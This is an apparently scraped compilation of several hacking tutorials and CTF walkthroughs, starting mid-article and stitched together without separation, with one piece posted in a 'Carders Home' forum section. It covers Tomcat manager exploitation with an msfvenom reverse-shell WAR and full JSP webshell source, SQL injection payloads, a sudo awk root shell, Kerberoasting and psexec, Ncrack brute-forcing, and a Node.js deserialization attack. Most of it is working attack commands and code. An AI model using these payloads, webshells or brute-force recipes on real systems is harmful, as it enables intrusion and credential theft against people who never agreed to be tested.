But we want to send a request in the encoded value of our payload. To encode your payload click on ADD button available under payload processing.
A new dialog box will generate to select the rule to choose an encode option from the list; now select base64 from drag down the list of URL encode key character for payload processing.
[Image: 28.png?w=687&ssl=1]

This will start a brute force attack and try to match string for user authentication. In the screenshot, you can observe the status “200 OK” and length “11788” of the highlighted value is different from the rest of the values. This means we can use this encoded value to bypass the user authentication, which occurs from request number 5. Now check the username and password on the 5th line in the dictionary. In the dictionary I found raj: 123 have matching authentication.
Or you can also use this encoded Auth value to bypass the Apache HTTP authentication page via burp suite intercepted data.
[Image: 29.png?w=687&ssl=1]

Copy the above auth value and paste replace it with intercepted authorization a shown in below and forward the request to access restricted content.
[Image: 30.png?w=687&ssl=1]

Booom!!! Here we have successfully access the content of the website.
[Image: 31.png?w=687&ssl=1]

Hope you people have enjoyed this article and learned how weak configuration security can easily breach and the unauthorized person can access the restrict content of your website.

Hello Friends, today through this article I would like to share my experience “how to exploit Tomcat Manager Application” if you have default login credential (tomcat: tomcat). While playing CTF, many times I found Apache Tomcat is running in the target machine that has configured with default login and this can help us to get a remote machine shell. Therefore I feel, I should write all possible ways to exploit tomcat manager application to gaining web shell of the remote machine.
Table of Content

Tomcat Manager Authenticated Upload Code Execution
Generate .war Format Backdoor
Tomcat War Deployer Script
Generate a JSP Webshell

Let’s start with nmap scan and to tomcat service check port 8080 as tomcat.
nmap -sV -p8080 192.168.1.101
1
nmap -sV -p8080 192.168.1.101
[Image: 1.png?w=687&ssl=1]

From nmap output result, we found port 8080 is open for Apache Tomcat. So we navigate to the web browser and on exploring Target IP: port we saw HTTP authentication page to login in tomcat manager application.
[Image: 2.png?w=687&ssl=1]

Tomcat Manager Authenticated Upload Code Execution
This module can be used to execute a payload on Apache Tomcat servers that have an exposed “manager” application. The payload is uploaded as a WAR archive containing a JSP application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit
1
2
3
4
5
6
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit
As result, you can observe that we have the meterpreter session of the target machine.
[Image: 3.png?w=687&ssl=1]

Generate .war Format Backdoor
We can use msfvenom for generating a .war format backdoor for java/jsp payload, all you need to do is just follow the given below syntax to create a .war format file and then run Netcat listener.
Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name]
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.108 LPORT=1234 -f war > shell.war
nc -lvp 1234
1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.108 LPORT=1234 -f war > shell.war
nc -lvp 1234
[Image: 4.png?w=687&ssl=1]

Now login to tomcat manager application using tomcat: tomcat as username: password. You will be welcomed by the admin dashboard where you can upload a .war file.
As you can observe I had browser the malicious shell.war file to be deployed as highlighted in the image. As soon as you will upload your file, you will see the /path entry for your file in the table of Applications
To execute your .war file, you have to click on the /.war file path mention in the Application table. Or you can directly explore http://target_IP:port/file_name.
As soon as you will execute your file you will get the reverse connection through netcat.
[Image: 6.png?w=687&ssl=1]

Booom!!! One more time we have access to remote Server.
[Image: 7.png?w=687&ssl=1]

Tomcat War Deployer Script
This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterward and provide a nice shell (either via web GUI, listening port binded on the remote machine or as a reverse tcp payload connecting back to the adversary).
In practice, it generates JSP backdoor WAR package on-the-fly and deploys it at the Apache Tomcat Manager Application, using valid HTTP Authentication credentials that pentester provided (or custom ones, in the end, we all love tomcat: tomcat )
You can download it from here:

[To see content please register here]

git clone

[To see content please register here]

cd tomcatWarDeployer
ls
1
2
3
git clone

[To see content please register here]

cd tomcatWarDeployer
ls
[Image: 8.png?w=687&ssl=1]

Now follow the syntax to exploit the target machine without uploading the .war file manually.
Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port]
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080
1
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080
On executing above command, I got webshell directly as you can observe it in the given below image.
[Image: 9.png?w=687&ssl=1]

Generate a JSP Webshell
In this part, we are going to see how we can generate and deploy a Web shell to gain command execution on the Tomcat manager application.
First, we will need to write the Webshell and package it as a .war file format. To write the jsp Webshell, we are using the following code which I found from this Link:

[To see content please register here]

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
Save the code as index.jsp and then execute the following command to package it as a .war file.
mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *
1
2
3
4
mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *
With the help of the above command, you will get a war file, which you can deploy in tomcat manager application.
[Image: 11.png?w=687&ssl=1]

As you can observe from the given below image, I had deployed my webshell.war file which successfully uploaded, now let’s click on this file for its execution.
[Image: 12.png?w=687&ssl=1]

On executing /webshell you will get an HTTP 404 error, now execute index.jsp file in the as given below:

[To see content please register here]

On executing the above URL you will get command execution form, now use it wisely to cmd commands.
[Image: 13.png?w=687&ssl=1]

Hopefully! You have enjoyed this article how to get access to the Tomcat manager using CVE-2007-1860.

Hello friends!! Today we are going to take another boot2root challenge known as KFIOFan. This lab is designed in French language and involves Geographical coordinates factor of France to Begin this CTF where you have to find 4 flags by using your web penetration testing skill because this machine is vulnerable to SQL.
Official Description: Two French people want to start the very first fan club of the youtuber Khaos Farbauti Ibn Oblivion. But they’re not very security aware! (IMPORTANT NOTE: The whole challenge is in French, including server conf. Which may add to the difficulty if you are non-native or using a non-azerty keyboard)
You can download this VM

[To see content please register here]

.
Penetration Methodology
Network Scanning

Open port and Running Service (Nmap)

Enumeration

Abusing Http service for obtaining Credential
Use robot.txt for the first flag

Exploit

Exploiting SQL vulnerability
Obtain SSH RSA_Key
SSH Login
Catch another flag

Privilege Escalation

Check Sudo rights
Spawn root access
Capture the last flag

Walkthrough
Network Scanning
Let’s start off with scanning the network to find our target.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105
[Image: 1.png?w=687&ssl=1]

So from nmap we found two ports (22, 80) are open in the target’s machine, therefore let’s navigate to port 80 in the browser.
Enumeration
On exploring port 80, we notice it required authentication but we don’t know that. Moreover, there was a text message (This site says: “48.416667 -0.916667”) which was pointing towards some Geographical coordinates.
[Image: 2.png?w=687&ssl=1]

When we canceled the authentication page, we saw a message in the French language which was saying “Let me guess Bob, did you lose your password again? LOL”. Here we considered Bob as authorized username.
[Image: 3.png?w=687&ssl=1]

On searching 48.416667 -0.916667 coordinates in Google map, we get the location “Levaré” which could be the possible password for user Bob.
[Image: 4.png?w=687&ssl=1]

Hmmmm!! So our prediction was true and we successfully bypass HTTP authentication using Bob: Levaré
Note: Well this was not that much easier because on reboot this machine the Geo-coordinates gets changed and you will get the password accordingly.
Luckily, on exploring /robot.txt, I found our first flag randomly which was in French language and again I translate it here:
FLAG1: Congratulations you found the first flag! (Yes I know you’re hoping for a clue but at least you have the right reflexes!)
[Image: 5.1.png?w=687&ssl=1]

As officially describe above “Two French people want to start the very first fan club of the youtuber” and from the given web page we can easily read the name of that two people (Alice and Bob) are usernames.
Exploit
Again I translate the whole text of this web page and conclude user “Alice” holds some very crucial information or any important file such as SSH key.
[Image: 5.png?w=687&ssl=1]

A link on Khaosearch brings me on the search form for the CTF author’s YouTube channel, without wasting time I check for SQL injection by injecting following query:
raj" union select 1,2;#
1
raj" union select 1,2;#
Lol J ! It was vulnerable to SQL injections, let’s exploit quickly.
[Image: 6.png?w=687&ssl=1]

With the help of the following query, we try to all table and column names from inside the database.
raj" union select table_name,column_name from information_schema.columns;#
1
raj" union select table_name,column_name from information_schema.columns;#
[Image: 7.1.png?w=687&ssl=1]

I stumped when I saw an entry for SSH_Key, then I decided to check it, as it seems the most exciting.
[Image: 7.png?w=687&ssl=1]

I found another link as Alice when inject the following query to check ssh_key
raj" union select * from ssh_keys;#
1
raj" union select * from ssh_keys;#
Alice was holding Private SSH_Key which should be open properly, therefore I visit source code of this page here.
[Image: 9.png?w=687&ssl=1]

Then copy the RSA Key from —–BEGIN RSA PRIVATE KEY—– to —–END RSA PRIVATE KEY—– and past in a text file as “id_rsa” then set permission 600 for proper authentication.
chmod 600 id_rsa
1
chmod 600 id_rsa
[Image: 10.png?w=687&ssl=1]

Privilege Escalation
Now then connect to ssh using the above key and run following command:
ssh [email protected] -i id_rsa
ls
cat flag3.txt
1
2
3
ssh [email protected] -i id_rsa
ls
cat flag3.txt
So we have successfully connected to ssh and found 3rd flag also.
FLAG 3: Congratulations on coming here. This shows that you master very well the essential concepts! One last little effort and the root is yours!
For finding 4th flag we need to escalate root privilege, let’s identify sudo rights for alice with the help of the following command.
sudo -l
1
sudo -l
Hmmm!! So here alice can run awk as root without using the password and we can easily spawn root shell by exploiting this permission
sudo awk 'BEGIN {system("/bin/bash")}'
ls
cat flag4.txt
1
2
3
sudo awk 'BEGIN {system("/bin/bash")}'
ls
cat flag4.txt
FLAG 4: COMPLETE! Congratulations to you for coming here: the machine is yours, its survival or destruction is now entirely based on your ethics. Good luck Hacker!
Note: On rebooting this VM machine the Geo-coordinates get changed each time which will also affect password and SSH key and you get a new password and SSH_key each time.

[Guide] How to Hack the Box: Active Walkthrough

Posted by: NINZA - 05-14-2020, 10:12 AM - Forum: Carders Home - No Replies

Today we are going to solve another CTF challenge “Active”. Active is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Penetration Methodologies
Scanning Network

Open ports and Running services (Nmap)

Enumeration

Identify share files (Linux4enum)
Access share file via Anonymous login (smbclient)
Decrypting cpassword (Gpprefdecrypt.py)

Access Victim’s Shell via SMB connect

Access share file user login
Get User.txt

Privilege Escalation

Find Service Principal Names (py)
Crack the hash (Hashcat)
Psexec Exploit (Metasploit)
Get root.txt

Walkthrough
Scanning Network
Note: Since these labs are online available therefore they have a static IP. The IP of Active is 10.10.10.100
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV 10.10.10.100
1
nmap -sV 10.10.10.100
[Image: 1.png?w=687&ssl=1]

As you can observe from Nmap scanning result, there are so many open ports along with their running services, the OS is Microsoft Windows server 2008:r2 Confused

p1 and you can also read the domain name “active.htb”.
Enumeration
I try eternal blue attack when I saw port 445 was open but I guess this was Patched version of SMB, therefore I have to start with enum4linux script. As we all know it is the best script for SMB enumeration.
./enum4liux -S 10.10.10.100
1
./enum4liux -S 10.10.10.100
It has shown anonymous login for /Replication share file.
[Image: 2.png?w=687&ssl=1]

Then I try to access /Replication with the help smbclient and run the following command to access this directory via anonymous login:
smbclient //10.10.10.100/Replication
1
smbclient //10.10.10.100/Replication
[Image: 3.png?w=687&ssl=1]

Here I downloaded Groups.xml file which I found from inside the following path:
\active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\Groups\
1
\active.htb\Policies\{31B2F340–016D-11D2–945F-00C04FB984F9}\MACHINE\Preferences\Groups\
So here I found cpassword attribute value embedded in the Groups.xml for user SVC_TGS.
[Image: 4.png?w=687&ssl=1]

Therefore I download a python script “Gpprefdecrypt” from GitHub to decrypt the password of local users added via Windows 2008 Group Policy Preferences (GPP) and obtain the password: GPPstillStandingStrong2k18.
python Gpprefdecrypt.py < cpassword attribute value >
1
python Gpprefdecrypt.py < cpassword attribute value >
[Image: 5.png?w=687&ssl=1]

Access Victim’s Shell via SMB connect
Using the above credential we connect to SMB with the help of the following command and successfully able to catch our 1st flag “user.txt” file.
smbclient //10.10.10.100/Users -U SVC_TGS
1
smbclient //10.10.10.100/Users -U SVC_TGS
[Image: 6.png?w=687&ssl=1]

Now, it’s time to hunt root.txt file and as always seen that for obtain root.txt file we need to escalate root privilege, therefore let’s add Host_IP and Host_name inside /etc/hosts file in our local machine.
[Image: 7.png?w=687&ssl=1]

Privilege Escalation
In nmap scanning result we saw port 88 was open for Kerberos, hence there must be some Service Principal Names (SPN) that are associated with the normal user account. Therefore we downloaded and install impacket from Github for using its python class GetUserSPN.py
./GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
1
./GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18
I copied the hash value into a text file “hash.txt” for its decryption.
[Image: 9.png?w=687&ssl=1]

Then with the help of hashcat, we find out the hash mode and as result, it showed 13100 for Kerberos 5 TGS-REP etype 23
hashcat -h |grep -i tgs
1
hashcat -h |grep -i tgs
Finally, it was time to crack the hashes and obtain the password by using rockyou.txt wordlist.
hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force --show
1
hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force --show
Hurray!!! We got it, Ticketmaster1968 for the administrator.
[Image: 10.png?w=687&ssl=1]

Without wasting time I load the Metasploit framework and run the following module to spawn full privilege system shell.
msf > use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 10.10.10.100
msf exploit(windows/smb/psexec) > set smbuser administrator
msf exploit(windows/smb/psexec) > set smbpass Ticketmaster1968
msf exploit(windows/smb/psexec) > exploit
1
2
3
4
5
msf > use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 10.10.10.100
msf exploit(windows/smb/psexec) > set smbuser administrator
msf exploit(windows/smb/psexec) > set smbpass Ticketmaster1968
msf exploit(windows/smb/psexec) > exploit
BOOOMMM…………………
Now we are inside the root shell, let’s chase towards root.txt file and finish this challenge.
[Image: 12.png?w=687&ssl=1]

Yuppieee! We found our 2nd flag the root.txt file from inside /Users/Administrator/Desktop.
[Image: 13.png?w=687&ssl=1]

In this article, we will be exploring the topic of network authentication using Ncrack. Security professionals depend on Ncrack while auditing their clients. The tool is very simple, yet robust in what it offers a penetration tester. It was designed to help the companies in securing their networks by analysis all their hosts and networking devices for weak passwords.
Table of Content
Introduction to Ncrack

Exploring Modules

Authentication Phase

Basic Attack
Dictionary Attack
Brute Force Attack
Pairwise Attack

Misc Phase

Resume the Attack
Stop on Success
Obtain Result in List Format

Output Format

Normal text File
All Format At Once
Append output
Nsock Trace

Timing and Performance

Timing Templates
Service-Specific Options

Target Specification

Input from Nmap’s XML
Input from the Text file
Exclude Host from List

Introduction to Ncrack
Ncrack is a network authentication tool, it helps pentesters find out how vulnerable the credentials protecting a network’s access are. The tool is a part of the Kali Linux arsenal and comes pre-installed with the package. It also has a unique feature to attack multiple targets at once, which is not seen very often in such tools.
Ncrack can be started by typing “ncrack” in the terminal. This shows us all the different options the tool provides us.
ncrack
1
ncrack
syntax: ncrack [Options] {target Confused

ervice specification/port number}
[Image: 0.png?w=687&ssl=1]

Exploring Modules
Ncrack is a very versatile tool, it has modules to test most of the popular forms of network authentication. We can see this by checking the modules.
ncrack –V
1
ncrack –V
[Image: 1.png?w=687&ssl=1]

Authentication Phase
Basic Attack
We have defined this attack as basic because at this phase we only know that port 21 is enabled for FTP service on the victim’s machine. So with the help of the following command, we will try to find out possible FTP login credential.
ncrack

[To see content please register here]

1
ncrack

[To see content please register here]

On executing the above command it will try to crack the password for anonymous login account as shown in the given below image.
[Image: 2.png?w=687&ssl=1]

Dictionary Attack
Suppose you are willing to obtain correct login credential for any account such FTP, SSH or HTTP when you having following situations:
Situation1- Know the only username but don’t know the password
Situation2- Don’t know username but know the password
Situation3- Neither have username nor the password
In such a situation, you should use a wordlist dictionary and then go with ncrack command respectively:
ncrack -user msfadmin -P pass.txt 192.168.0.105:21
ncrack -U user.txt -pass msfadmin 192.168.0.105:21
ncrack -U user.txt -P pass.txt 192.168.0.105:21
1
2
3
ncrack -user msfadmin -P pass.txt 192.168.0.105:21
ncrack -U user.txt -pass msfadmin 192.168.0.105:21
ncrack -U user.txt -P pass.txt 192.168.0.105:21
[Image: 3.png?w=687&ssl=1]

Brute Force Attack
Now, whenever you consider yourself in the following situations:
Situtation1- Close assumption of few usernames and passwords for any host: service and don’t want to use a dictionary then you can go with the following command, this will reduce our effort of guessing truthful credential.
ncrack -user msfadmin,ignite -pass msfadmin,123

[To see content please register here]

1
ncrack -user msfadmin,ignite -pass msfadmin,123

[To see content please register here]

Situtation2- Close assumption of usernames and passwords but there multiple hosts in a network and guessing valid login for destination machine is much time taken process.
Again with the help of ncrack following command you will be able to crack valid login for any host present in the network.
ncrack -user msfadmin,ignite -pass msfadmin,123 192.168.0.1/24:21
1
ncrack -user msfadmin,ignite -pass msfadmin,123 192.168.0.1/24:21
[Image: 4.png?w=687&ssl=1]

Pairwise Attack
choose usernames and passwords in the pair.
If you are not giving any dictionary, then ncrack will go with its default dictionary for pairing password for anonymous login.
ncrack -v --pairwise 192.168.0.105:21
1
ncrack -v --pairwise 192.168.0.105:21
From the given below image, you can observe that we had made successful FTP login with the help of paired password matthew.
[Image: 5.png?w=687&ssl=1]

Misc Phase
Resume the Attack
This is probably the feature that takes the cake. We all know how frustrating the loss of connection or any other technical interruption can be during testing, this is where Ncrack is the blessing. If your attack gets interrupted, you can pick it right up from where you were.
ncrack --resume /root/.ncrack/restore.2018-12-05_04-36
1
ncrack --resume /root/.ncrack/restore.2018-12-05_04-36
[Image: 6.1.png?w=687&ssl=1]

Stop on Success
As you have seen in the above attack that it keeps on cracking the service until it finds the all possible logins but if you want that, the attack should quit cracking service after finding one credential then you should add -f option in the ncrack command.
ncrack -v --pairwise 192.168.0.105:21 -f
1
ncrack -v --pairwise 192.168.0.105:21 -f
[Image: 6.3.png?w=687&ssl=1]

Obtain Result in List Format
It always matters that how will you maintain your penetration testing report and output result while presenting them. Sometimes it is quite hectic to arrange the result in well polish look especially at that time when you have to penetrate multiple host machine. To shoot such hotchpotch, the ncrack has added -sL option which will generate the result in a list format.
ncrack ssh://192.168.0.105 ssh://192.168.0.106 -sL
1
ncrack ssh://192.168.0.105 ssh://192.168.0.106 -sL
[Image: 6.4.png?w=687&ssl=1]

Output Format
Normal text File
If you want to store the output of ncrack result in a Text/XML format.
Then you can go with -oN option to save the result in a text file with the help of given below command and later can use the cat command to read the information saved inside that file.
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oN normal.txt
1
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oN normal.txt

cat normal.txt
1
cat normal.txt
Or you can switch to –oX option to save the output result in XML format.
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oX save.xml
1
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oX save.xml
[Image: 6.png?w=687&ssl=1]

All Format At Once
Suppose you want to store the output of ncrack result in both format (.txt, .xml) then you can choose -oA option while executing the command.
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oA output
1
ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oA output
As you can observe that it has stored the result in two formats as “output.ncrack” and “output.xml”.
[Image: 7.png?w=687&ssl=1]

Append output
If the testing is being done in iterations, Ncrack gives us the option to append or add the output to an existing file with ease.
As you can observe that when we try to crack FTP service for the host: 192.168.0.106, it gives ignite:123 as login credential that I had to save in a text file.
ncrack -U user.txt -P pass.txt 192.168.0.106:21 -oN normal.txt
1
ncrack -U user.txt -P pass.txt 192.168.0.106:21 -oN normal.txt
But on crack SMB service for the host: 192.168.0.105, it gives msfadmin:msfadmin as login credential and here I had appended the output in the previous text file.
ncrack -U user.txt -P pass.txt 192.168.0.105:445 -oN normal.txt --append-output
1
ncrack -U user.txt -P pass.txt 192.168.0.105:445 -oN normal.txt --append-output
Conclusion: so by reading normal.txt file we got both output result at one place rather than clobber specified output files.
[Image: 8.png?w=687&ssl=1]

Nsock Trace
Ncrack lets us run the nsock trace on our target while attacking it, we can set the trace level anywhere from 0 to 10 depending on our objective. The output from this operation is quite large.
ncrack -U user.txt -P pass.txt 192.168.0.106:21 --nsock-trace 2
1
ncrack -U user.txt -P pass.txt 192.168.0.106:21 --nsock-trace 2
[Image: 9.png?w=687&ssl=1]

We weren’t kidding when we said the output is large!
Timing and Performance
Timing Templates
Timing template in ncrack is defined by –T<0-5> having -T0 as the slowest and –T5 as the fastest. By default, all ncrack scans run on –T3 timing template. Timing template in Ncrack is used to optimize and improve the quality and performance of the scan to get desired results.
T5: Insane Scan
T4: Aggressive Scan
T3: Normal Scan
T2: Polite Scan
T1: Sneaky Scan
ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T1
1
ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T1
As you can observe from the given below image that it took 187.57 seconds and for this reason, T0 and T1 are used to evade from firewall and IDS/IPS.
ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T5
ncrack -U user.txt -P pass.txt 192.168.0.105:21
1
2
ncrack -U user.txt -P pass.txt 192.168.0.105:21 -T5
ncrack -U user.txt -P pass.txt 192.168.0.105:21
On executing the above command you can compare the time of completing the process in both results, it took 15.01 seconds during T5 and 24.00 seconds during default (T3).
[Image: 11.png?w=687&ssl=1]

Service-Specific Options
cl (min connection limit): minimum number of concurrent parallel connections
CL (max connection limit): maximum number of concurrent parallel connections
at (authentication tries): authentication attempts per connection
cd (connection delay): delay <time> between each connection initiation
cr (connection retires): caps number of service connection attempts
to (time-out): maximum cracking <time> for service, regardless of success so far
You can use the above option while penetrating the whole network for cracking any service.
ncrack ssh://192.168.0.105 -m ftp:cl=10,CL=30,at=5,cd=2ms,cr=10,to=2ms -sL -d
1
ncrack ssh://192.168.0.105 -m ftp:cl=10,CL=30,at=5,cd=2ms,cr=10,to=2ms -sL -d
[Image: 12.png?w=687&ssl=1]

Target Specification
Input from Nmap’s XML
You might be aware of Nmap tool its functionality, suppose while scanning network with the help of nmap you have stored its result in XML format then you can use ncrack -iX option to crack the running services with the help of XML file format.
ncrack -u ignite -pass 123 -iX nmap.xml
1
ncrack -u ignite -pass 123 -iX nmap.xml
As you can observe from the given image that ncrack itself, cracked the password for FTP without specifying any service or port in the command.
[Image: 13.png?w=687&ssl=1]

Input from the Text file
Executing command again and again on multiple hosts is quite time-consuming efforts, therefore, you can place all host IP in a text file and then use it for cracking any particular service.
ncrack -U user.txt -P pass.txt -iL host.txt -p21
1
ncrack -U user.txt -P pass.txt -iL host.txt -p21
[Image: 14.png?w=687&ssl=1]

Exclude Host from List
Suppose you are using a list that contains multiple IP or range of IP and you don’t want to crack service for a specific IP then you can use –exclude option to eliminate that particular IP from list of hosts.
ncrack -U user.txt -P pass.txt -iL host.txt -p21 --exclude 192.168.0.106
1
ncrack -U user.txt -P pass.txt -iL host.txt -p21 --exclude 192.168.0.106
As you can observe, this time it does not crack for 192.168.0.106 and shown the result for the remaining IP.
[Image: 15.png?w=687&ssl=1]

Hack into the Moonraker system and discover who’s behind these menacing plans once and for all. Find and destroy the Villain before it’s too late. You’ve received intelligence of a new Villain investing heavily into Space and Laser Technologies. Although the Villain is unknown we know the motives are ominous and apocalyptic. The challenge is to get root on the Targeted Virtual Machine and read the flag.txt within that directory.
Download it from here:

[To see content please register here]

Penetrating Methodology:

Network Scanning (Netdiscover & Nmap)
Web directory enumeration (Dirb)
Tail off apache2 access logs.
Browsing through discovered directories.
Finding Login Credentials for CouchDB’s Login.
Fauxton Login Page Link.
Checking Various Directories over the browser.
Finding Login Credentials.
Logging into Node.js express framework.
Capturing Cookie using Burpsuite.
Using Node.js deserialization exploit for RCE.
Converting Decimal value to ASCII text.
Using a script to Convert ASCII text to Decimal value.
Base64 encoding using echo.
Getting reverse shell over netcat listener.
Converting Hash string using John the Ripper tool
Getting root access.

Reading the flag.

Let’s Begin with the Walkthrough!!
Let’s start off with scanning the network to find our targets IP.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target IP –> 192.168.1.110
Our next motive is to scan the target IP with nmap.
nmap -p- -A 192.168.1.110 --open
1
nmap -p- -A 192.168.1.110 --open
The NMAP scan output shows various open ports: 22(ssh), 80(http), 110(pop3), 3000(http), 4369(epmd), 5984(couchdb).
[Image: 2.png?w=687&ssl=1]

From the Nmap Scan output, we saw port 80 is open. Therefore we navigate to port 80 in the web browser. But it was not much of a help to move ahead.
[Image: 3.png?w=687&ssl=1]

Now we thought of enumerating for accessible directories on the Target Machine with the help of the following command.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After recursively enumerating, we found a useful directory /services as highlighted.
[Image: 4.png?w=687&ssl=1]

Let’s just browse the found directory /services in the browser where at bottom of the webpage we saw a SEND AN INQUIRY Hyperlink. Let’s find out where it will lead us by clicking on it.
[Image: 5.png?w=687&ssl=1]

So it opened a SERVICES INFORMATION REQUEST FORM as shown in the image. We noticed that someone will check our web-based enquiry and will contact us in under 5minutes. This strikes us that some kind of logs will be made. But the question is where?
[Image: 6.png?w=687&ssl=1]

We have filled the enquiry form using the html code with an image tag as shown in the image.
<img src="http://192.168.1.109/1.txt"></img>
1
<img src="http://192.168.1.109/1.txt"></img>
[Image: 7.png?w=687&ssl=1]

Before Clicking Submit to Sales Rep! We have restarted apache2 service because if any logs will be made, we can easily see them by accessing apache2 access.log. After clicking Submit, it has displayed thanks for your inquiry message as shown in the image.
[Image: 8.png?w=687&ssl=1]

We have just tail off the access log of apache2 by using the command.
tail -f /var/log/apache2/access.log
1
tail -f /var/log/apache2/access.log
The log formed exposed a new webpage as highlighted in the image.
[Image: 9.png?w=687&ssl=1]

Let’s just find out where the webpage is going to redirect us. For that, we opened it in the browser.
[Image: 12.png?w=687&ssl=1]

So it leads us to the Sales Admin Interface. This looks interesting and might be holding some great clues.
[Image: 13.png?w=687&ssl=1]

Next thing we opened CouchDB Notes and got some hints about Login Credentials for CouchDB Login that is Username: jaws and Password: jaws girlfriend name + x99. Here we Google for jaws girlfriends name which came out to be dolly.
[Image: 14.png?w=687&ssl=1]

We will be requiring these found Credentials to log into Fauxton which is included in Apache CouchDB. To know more about Fauxton and CouchDB we have searched about them on google and find out a hint on how to open a CouchDB Login Page.
[Image: 15.png?w=687&ssl=1]

Since port 5984 is open. We are able to open the CouchDB Login Page.
192.168.1.110:5984/_utils/
1
192.168.1.110:5984/_utils/
Here we have used Login Credentials as follows:
Username: jaws
Password: dollyx99
1
2
Username: jaws
Password: dollyx99
[Image: 16.png?w=687&ssl=1]

Booyeah!! We have successfully logged in. Now let’s check out the docs inside these 3 databases.
[Image: 17.png?w=687&ssl=1]

The link database came out to be useful. Looking through the documents inside the link database, since every document contains a directory link but the highlighted one might give us clue for our next step.
[Image: 18.png?w=687&ssl=1]

So the link we have found in the highlighted document is shown in the image. Let’s copy and open this link in the browser.
[Image: 19.png?w=687&ssl=1]

So the above link opened an OFFER LETTER ARCHIVE BACKUP WEBPAGE. This is interesting, let’s check out what’s hiding in these offer letters.
[Image: 20.png?w=687&ssl=1]

Woah!! All the offer letters contain a Username and Password. But the one we have used is shown in the image.
[Image: 21.png?w=687&ssl=1]

From the NMAP Scan output, we knew port 3000 holds a Node.js framework. So we browse the Target IP on port 3000 on the browser and encountered a login portal. Credentials use to log in are as follows:
Username: hugo
Password: TempleLasersL2K
1
2
Username: hugo
Password: TempleLasersL2K
[Image: 22.png?w=687&ssl=1]

After successfully logging in, we have displayed a message shown in the image. This page seems of no use but after spending time figuring out what to do next it became very interesting.
[Image: 23.png?w=687&ssl=1]

Time to Launch Burp Suite and intercept the request of this page. After intercepting we saw a base64 encoded line in Cookie: profile as you can see in the image. Here we will be inserting node.js deserialization exploit in base64 encoded form. Let’s begin with the process.
[Image: 24.png?w=687&ssl=1]

From the image, you can figure out that we will copy Node.js deserialization exploit for Remote Code Execution.

[To see content please register here]

After copying it, let’s convert the Decimal value into ASCII text using a converter available online. And don’t forget to copy the ASCII text.
[Image: 26.png?w=687&ssl=1]

Using nano, we have created a file and pasted the ASCII text copied. Here we have given our Kali Linux IP in the host and set the port to 1337 just save it.
[Image: 27.png?w=687&ssl=1]

